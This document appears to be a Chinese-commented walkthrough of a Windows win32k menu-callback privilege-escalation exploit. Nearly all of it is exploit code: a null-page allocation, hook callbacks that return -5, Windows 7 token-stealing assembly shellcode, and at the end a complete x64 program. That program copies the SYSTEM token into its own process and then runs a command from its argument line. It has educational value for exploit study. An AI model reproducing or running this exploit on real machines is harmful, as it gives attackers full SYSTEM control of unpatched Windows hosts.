__kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory(
  [in]      HANDLE    ProcessHandle,
  [in, out] PVOID     *BaseAddress,
  [in]      ULONG_PTR ZeroBits,
  [in, out] PSIZE_T   RegionSize,
  [in]      ULONG     AllocationType,
  [in]      ULONG     Protect
);

DWORD base_address = 1;				//申请的地址
SIZE_T region_size = 0x1000;		//申请的大小
NTSTATUS tmp = pNtAllocateVirtualMemory(
	GetCurrentProcess(), 			//当前进程的句柄
	(LPVOID*)(&base_address),		//指向申请地址的指针
	0, 								//讲不明白不过改1好像也不影响运行
	&region_size,					//指向申请大小的指针
	(MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN),	//内存的类型，MEM_TOP_DOWN不是必要的
	PAGE_EXECUTE_READWRITE 			//内存的属性
);

if (tmp != (NTSTATUS)0x0) {			//如果返回不为0则说明申请失败
	printf("Failed to allocate null page.\n");
	return;
}

ATOM RegisterClassA(
  [in] const WNDCLASSA *lpWndClass
);

typedef struct tagWNDCLASSA {
  UINT      style;
  WNDPROC   lpfnWndProc;
  int       cbClsExtra;
  int       cbWndExtra;
  HINSTANCE hInstance;
  HICON     hIcon;
  HCURSOR   hCursor;
  HBRUSH    hbrBackground;
  LPCSTR    lpszMenuName;
  LPCSTR    lpszClassName;
} WNDCLASSA, *PWNDCLASSA, *NPWNDCLASSA, *LPWNDCLASSA;

//窗口收到消息前会先经过这个函数
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
	//msg是返回消息的值
	printf("WindProc called with message=%d\n", msg);
	//打印出来，如果msg=WM_ENTERIDLE就触发下面的，如果不等于就直接返回
	//那么WM_ENTERIDLE在消息中的意思是当一个有模式对话框或菜单进入空闲状态时发送此消息给它的所有者，空闲状态指在处理完一条或几条先前的消息后，消息列队为空，消息对应的意思的文章会写在参考中
	//人话应该就是我该初始化都好了，你可以来整点啥了
	if (msg == WM_ENTERIDLE) {
		PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0);		//向下箭头键
		PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0);	//向左箭头键
		PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0);		//鼠标左键
		//这几行都是模拟点击
	}
	return DefWindowProc(hwnd, msg, wParam, lParam);
}

WNDCLASSA wnd_class = { 0 };
//初始化结构
wnd_class.lpfnWndProc = WndProc;
//处理窗口消息的函数，在消息传递到程序之前都会先经过这个函数
wnd_class.hInstance = GetModuleHandle(NULL);
//网上看的都和谜语一样，感觉就是设置包含这个窗口的进程的基址
//GetModuleHandle(NULL)这个写法可以直接得到可执行文件在内存中基址
wnd_class.lpszClassName = "abcde";
//类名写什么都可以

HHOOK SetWindowsHookExA(
  [in] int       idHook,
  [in] HOOKPROC  lpfn,
  [in] HINSTANCE hmod,
  [in] DWORD     dwThreadId
);

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
	printf("Callback one called.\n");
	if (*(DWORD *)(lParam + 8) == MN_FINDMENUWINDOWFROMPOINT) {
		if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
			SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
		}
	}
	return CallNextHookEx(0, code, wParam, lParam);
}

HHOOK setWindowsHook = SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId());

//WH_CALLWNDPROC和上面相同，在接收到消息的时候进入hook函数

//第二个参数是hook后执行的函数

//然后是NULL

//最后是hook当前的线程

LRESULT CALLBACK CallWndProc(
  _In_ int    nCode,
  _In_ WPARAM wParam,
  _In_ LPARAM lParam
);

typedef struct tagCWPSTRUCT {
  LPARAM lParam;
  WPARAM wParam;
  UINT   message;
  HWND   hwnd;
} CWPSTRUCT, *PCWPSTRUCT, *NPCWPSTRUCT, *LPCWPSTRUCT;

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
	printf("Callback one called.\n");
	//打印Callback one called.
	if (*(DWORD *)(lParam + 8) == MN_FINDMENUWINDOWFROMPOINT) {
	//lParam是指向tagCWPSTRUCT的指针，到+8的位置实际就是message
	//MN_FINDMENUWINDOWFROMPOINT是R0返回的消息，这是宏定义，实际的值为0x1EB
   	//这里的意思是如果message值==MN_FINDMENUWINDOWFROMPOINT那么就触发下面这些
	//UnhookWindowsHook取消前面的hook
		if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
			SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
            //lParam + 12为窗口的句柄，还记得前面wnd_class.lpfnWndProc = WndProc吗，这里一样的就是为这个句柄设置新函数，如果接收到消息就走到HookCallbackTwo了
		}
	}
    //该去哪去哪
	return CallNextHookEx(0, code, wParam, lParam);
}

LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
	printf("Callback two called.\n");			//打印字符串
	EndMenu();									//销毁菜单，不销毁会一直走HookCallbackTwo函数
	return -5;				//返回-5, 也就是fffffffb
}

DWORD __stdcall GetPTI() {
	__asm {
		mov eax, fs:18h
		mov eax, [eax + 40h]
	}
}

// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET    0x124    // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET   0x050    // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET        0x0B4    // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET      0x0B8    // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET      0x0F8    // nt!_EPROCESS.Token
#define SYSTEM_PID        0x004    // SYSTEM Process PID

int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {
	__asm {
		; initialize
		pushad;				;保存所有寄存器，最后要堆栈平衡

		xor eax, eax; 		;eax置零
		mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
        ;得到当前线程的KTHREAD结构地址
		mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
		;得到当前进程的EPROCESS结构地址
		mov ecx, eax; Copy current _EPROCESS structure
		;将当前进程的EPROCESS结构地址保存到ecx中
       	
		mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
        ;将当前进程的token保存到ebx中
		mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
        ;将0x4保存在edx中，0x4是windows系统中SYSTEM进程的PID，是不变的，可以用任务管理器看到
            
		SearchSystemPID:
        	;这一段主要的作用是遍历所有进程，找到PID为4的进程也就是SYSTEM
			mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            ;将下一个进程的EPROCESS.ActiveProcessLinks结构地址保存到eax中
			sub eax, FLINK_OFFSET
            ;eax减去FLINK_OFFSET的偏移是EPROCESS结构起始地址
			cmp [eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
            ;取PID对比是否为0x4
			jne SearchSystemPID
			;是的话就跳出来
		mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
        ;取SYSTEM进程的token
		mov [ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM
		; to current process
        ;把SYSYTEM的TOKEN值复制到当前进程
		popad; restore registers state
        ;恢复堆栈
	}
	return 0;
}

v28 = KeUserModeCallback(33, &v20, 24, &v27, &v29);
//KeUserModeCallback的第四个参数是OUT的，所以这个函数执行完后的结果还是会存入v27
//这里的V27就是0012FE10
  UserEnterUserCritSec();
  ThreadUnlock1();
  ms_exc.registration.TryLevel = 1;
  v13 = (int)&v9[53].Next[10];
  *(_DWORD *)v13 = v17;
  v13 += 4;
  *(_DWORD *)v13 = v18;
  *(_DWORD *)(v13 + 4) = v19;
  ms_exc.registration.TryLevel = -2;
  if ( v28 < 0 || v29 != 12 )
  {
    result = 0;
  }
  else
  {
    ms_exc.registration.TryLevel = 2;
    if ( v27 < W32UserProbeAddress )
    //这里就是前面的汇编了，W32UserProbeAddress应该是常量，就是7FFF0000
      v14 = *(_DWORD *)v27;
      //如果v27 < W32UserProbeAddress，v27指向的内容将存入v14
    else
      v14 = *(_DWORD *)W32UserProbeAddress;
    v30 = v14;			//v14存入v30
    ms_exc.registration.TryLevel = -2;
    if ( (!a8 || !(*(_BYTE *)(a8 + 36) & 5)) && !(a7 & 2) )
    {
      ms_exc.registration.TryLevel = 3;
      v15 = *(_DWORD **)(v27 + 8);
      if ( (unsigned int)v15 >= W32UserProbeAddress )
        v15 = (_DWORD *)W32UserProbeAddress;
      *v31 = *v15;
      ms_exc.registration.TryLevel = -2;
    }
    result = v30;			//返回v30也就是FFFFFFFB
  }
  return result;

void* pti_loc = (void *)0x3;*(LPDWORD)pti_loc = GetPTI();
void* check_loc = (void *)0x11;	*(LPBYTE)check_loc = 0x4;
void* shellcode_loc = (void *)0x5b;

NTSTATUS PsLookupProcessByProcessId(
  [in]  HANDLE    ProcessId,
  [out] PEPROCESS *Process
);

PACCESS_TOKEN PsReferencePrimaryToken(
  [in, out] PEPROCESS Process
);

int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {
	void* CurrentEPROCESS = NULL;
	void* SystemEPROCESS = NULL;
	PACCESS_TOKEN CurrentToken;
	PACCESS_TOKEN SystemToken;
	pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &CurrentEPROCESS);
	pPsLookupProcessByProcessId((HANDLE)4, &SystemEPROCESS);
	CurrentToken = pPsReferencePrimaryToken(CurrentEPROCESS);
	SystemToken = pPsReferencePrimaryToken(SystemEPROCESS);

	
	void* token_loc = (void *)((INT64)CurrentEPROCESS+0x208);
	*(PDWORD_PTR)token_loc = (_int64)SystemToken;

	return 0;
}

long CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
	//printf("Callback two called.\n");
	EndMenu();
	return -5;
}

void* pti_loc = (void *)0x10000000B;
void* check_loc = (void *)0x100000025;
void* shellcode_loc = (void *)0x10000008B;
*(PDWORD_PTR)pti_loc = GetPTI();
*(LPBYTE)check_loc = 0x4;
*(PDWORD_PTR)shellcode_loc = (_int64)TokenStealingShellcodeWin7;

INT64 GetPTI() {
	PBYTE pTeb = (PBYTE)__readgsqword(0x30);
	return (INT64)*((PINT64)(pTeb + 0x78));
}

// Test.cpp : Defines the entry point for the console application.
//

#include <stdio.h>
#include <Windows.h>

#define PTR_SIZE sizeof(UINT_PTR)
#define MN_FINDMENUWINDOWFROMPOINT 0x1EB
#define SystemModuleInformation	11

typedef NTSTATUS(NTAPI *kNtAllocateVirtualMemory)(
	IN  HANDLE  ProcessHandle,
	IN  PVOID   *BaseAddress,
	IN  PULONG  ZeroBits,
	IN  PSIZE_T RegionSize,
	IN  ULONG   AllocationType,
	IN  ULONG   Protect
	);

typedef NTSTATUS(NTAPI *kZwQuerySystemInformation)(
	_In_       DWORD SystemInformationClass,
	_Inout_    PVOID SystemInformation,
	_In_       ULONG SystemInformationLength,
	_Out_opt_  PULONG ReturnLength
	);

typedef NTSTATUS(NTAPI *kPsLookupProcessByProcessId)(
	IN   HANDLE ProcessId,
	OUT  PVOID Process
	);

typedef PACCESS_TOKEN(NTAPI *kPsReferencePrimaryToken)(
	_Inout_  PVOID Process
	);


typedef struct _SYSTEM_MODULE
{
	HANDLE               Reserved1;
	PVOID                Reserved2;
	PVOID                ImageBaseAddress;
	ULONG                ImageSize;
	ULONG                Flags;
	USHORT               Id;
	USHORT               Rank;
	USHORT               w018;
	USHORT               NameOffset;
	BYTE                 Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct _SYSTEM_MODULE_INFORMATION
{
	ULONG                ModulesCount;
	SYSTEM_MODULE        Modules[0];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef struct _FAKE_EPROCESS
{
	PACCESS_TOKEN				Token;
} FAKE_EPROCESS, *PFAKE_EPROCESS;

kPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL;
kPsReferencePrimaryToken pPsReferencePrimaryToken = NULL;
DWORD dwMyProcessId = 0;

long CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
	//printf("Callback two called.\n");
	EndMenu();
	return -5;
}

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
	//printf("Callback one called.\n");
		if (*(DWORD *)(lParam + PTR_SIZE * 2) == MN_FINDMENUWINDOWFROMPOINT) {
		if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
			SetWindowLongPtrA(*(HWND *)(lParam + PTR_SIZE * 3), GWLP_WNDPROC, (ULONG_PTR)HookCallbackTwo);
		}
	}
	return CallNextHookEx(0, code, wParam, lParam);
}


LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {

	//printf("WindProc called with message=%d\n", msg);
	if (msg == WM_ENTERIDLE) {
		PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0);
		PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0);
		PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0);
		//printf("PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPOST!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
	}
	//Just pass any other messages to the default window procedure
	return DefWindowProc(hwnd, msg, wParam, lParam);
}



INT64 GetPTI() {
	PBYTE pTeb = (PBYTE)__readgsqword(0x30);
	return (INT64)*((PINT64)(pTeb + 0x78));
}

int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {
	void* CurrentEPROCESS = NULL;
	void* SystemEPROCESS = NULL;
	PACCESS_TOKEN CurrentToken;
	PACCESS_TOKEN SystemToken;
	pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &CurrentEPROCESS);
	pPsLookupProcessByProcessId((HANDLE)4, &SystemEPROCESS);
	CurrentToken = pPsReferencePrimaryToken(CurrentEPROCESS);
	SystemToken = pPsReferencePrimaryToken(SystemEPROCESS);

	
	void* token_loc = (void *)((INT64)CurrentEPROCESS+0x208);
	*(PDWORD_PTR)token_loc = (_int64)SystemToken;

	return 0;
}

void main(char* argc, char* argv[])
{
	char szNtName[256];
	//存放Name的值
	PVOID NtBase;
	//存放ImageBaseAddress
	HMODULE hNtdll = LoadLibraryA("ntdll");
	if (hNtdll == NULL) {
		printf("Failed to load ntdll");
		return;
	}

	kNtAllocateVirtualMemory pNtAllocateVirtualMemory = (kNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
	if (pNtAllocateVirtualMemory == NULL) {
		printf("Failed to resolve NtAllocateVirtualMemory.\n");
		return;
	}

	dwMyProcessId = GetCurrentProcessId();

	_int64 base_address = 0x00000000fffffffb;
	SIZE_T region_size = 0x1000;

	NTSTATUS tmp = pNtAllocateVirtualMemory(
		GetCurrentProcess(),
		(LPVOID*)(&base_address),
		0,
		&region_size, 
		(MEM_RESERVE | MEM_COMMIT| MEM_TOP_DOWN),
		PAGE_EXECUTE_READWRITE 
	);

	if (tmp != (NTSTATUS)0x0) {
		printf("Failed to allocate null page.\n");
		return;
	}


	kZwQuerySystemInformation pZwQuerySystemInformation = (kZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
	//从ntdll中提取出ZwQuerySystemInformation
	if (pZwQuerySystemInformation == NULL)
	{
		printf("[-] Can not found ZwQuerySystemInformation!");
		return;
	}

	ULONG SystemInfoBufferSize;
	pZwQuerySystemInformation(SystemModuleInformation, &SystemInfoBufferSize, 0, &SystemInfoBufferSize);
	if (SystemInfoBufferSize == 0)
	{
		printf("[-] SystemInfoBufferSize is 0!");
	}
	PULONG pSystemInfoBuffer = (PULONG)LocalAlloc(LMEM_ZEROINIT, SystemInfoBufferSize);
	printf("[+] LocalAlloc:0x%p\n", pSystemInfoBuffer);
	if (pSystemInfoBuffer == 0)
	{
		printf("[-] LocalAlloc is fail!");
		return;
	}
	int ret = pZwQuerySystemInformation(SystemModuleInformation, pSystemInfoBuffer, SystemInfoBufferSize, &SystemInfoBufferSize);
	if (ret)
	{
		printf("[-] ZwQuerySystemInformation is fail!");
		return;
	}

	_SYSTEM_MODULE_INFORMATION* smi = (_SYSTEM_MODULE_INFORMATION *)pSystemInfoBuffer;

	printf("[+] Kernel Modle found %d\n", smi->ModulesCount);

	memset(szNtName, 0, 256);			//内存清零
	int i = 0;
	while (i < smi->ModulesCount)
	{
		SYSTEM_MODULE* sm = (SYSTEM_MODULE *)(smi->Modules + i);
		
		if (strstr((char*)sm->Name, ".exe") && strstr((char*)sm->Name, "nt"))
		{
			NtBase = sm->ImageBaseAddress;
			strncpy_s(szNtName, 256, strstr((char*)sm->Name, "nt"), _TRUNCATE);
			break;
		}

	}
	HMODULE nt = LoadLibraryA(szNtName);
	kPsLookupProcessByProcessId PLPBP = (kPsLookupProcessByProcessId)GetProcAddress(nt, "PsLookupProcessByProcessId");

	pPsLookupProcessByProcessId = (kPsLookupProcessByProcessId)((_int64)NtBase + ((_int64)PLPBP - (_int64)nt));
	printf("[+] PsLookupProcessByProcessId Address in 0x%p\n", pPsLookupProcessByProcessId);

	kPsReferencePrimaryToken PRPT = (kPsReferencePrimaryToken)GetProcAddress(nt, "PsReferencePrimaryToken");

	pPsReferencePrimaryToken = (kPsReferencePrimaryToken)((_int64)NtBase + ((_int64)PRPT - (_int64)nt));
	printf("[+] PsReferencePrimaryToken Address in 0x%p\n", pPsReferencePrimaryToken);








	void* pti_loc = (void *)0x10000000B;
	void* check_loc = (void *)0x100000025;
	void* shellcode_loc = (void *)0x10000008B;
	*(PDWORD_PTR)pti_loc = GetPTI();
	*(LPBYTE)check_loc = 0x4;
	*(PDWORD_PTR)shellcode_loc = (_int64)TokenStealingShellcodeWin7;

	WNDCLASSA wnd_class = { 0 };
	wnd_class.lpfnWndProc = WndProc;
	wnd_class.hInstance = GetModuleHandle(NULL);
	wnd_class.lpszClassName = "abcde";

	ATOM reg = RegisterClassA(&wnd_class);
	if (reg == NULL) {
		printf("Failed to register window class.\n");
		return;
	}


	HWND main_wnd = CreateWindowA(wnd_class.lpszClassName, "", WS_OVERLAPPEDWINDOW | WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, wnd_class.hInstance, NULL);

	if (main_wnd == NULL) {
		printf("Failed to create window instance.\n");
		return;
	}

	HMENU MenuOne = CreatePopupMenu();

	if (MenuOne == NULL) {
		printf("Failed to create popup menu one.\n");
		return;
	}

	MENUITEMINFOA MenuOneInfo = { 0 };
	MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
	MenuOneInfo.fMask = MIIM_STRING;

	BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);

	if (!insertMenuItem) {
		printf("Failed to insert popup menu one.\n");
		DestroyMenu(MenuOne);
		return;
	}

	HMENU MenuTwo = CreatePopupMenu();

	if (MenuTwo == NULL) {
		printf("Failed to create menu two.\n");
		DestroyMenu(MenuOne);
		return;
	}

	MENUITEMINFOA MenuTwoInfo = { 0 };
	MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
	MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
	MenuTwoInfo.hSubMenu = MenuOne;
	MenuTwoInfo.dwTypeData = "";
	MenuTwoInfo.cch = 1;
	insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);

	if (!insertMenuItem) {
		printf("Failed to insert second pop-up menu.\n");
		DestroyMenu(MenuOne);
		DestroyMenu(MenuTwo);
		return;
	}


	HHOOK setWindowsHook = SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId());

	if (setWindowsHook == NULL) {
		printf("Failed to insert call back one.\n");
		DestroyMenu(MenuOne);
		DestroyMenu(MenuTwo);
		return;
	}


	TrackPopupMenu(
		MenuTwo, //Handle to the menu we want to display, for us its the submenu we just created.
		0, //Options on how the menu is aligned, what clicks are allowed etc, we don't care.
		0, //Horizontal position - left hand side
		0, //Vertical position - Top edge
		0, //Reserved field, has to be 0
		main_wnd, //Handle to the Window which owns the menu
		NULL //This value is always ignored...
	);

	DestroyWindow(main_wnd);

	STARTUPINFOA si;
	PROCESS_INFORMATION pi;

	if (argv[1]) 
	{
		si = { 0 };
		pi = { 0 };
		si.cb = sizeof(si);
		si.dwFlags = 1;
		si.wShowWindow = 0;
		CreateProcessA(NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
			//避免程序结束太快返回信息出现在cmd的下一行
		WaitForSingleObject(pi.hProcess, 0x10000);
	}
	
}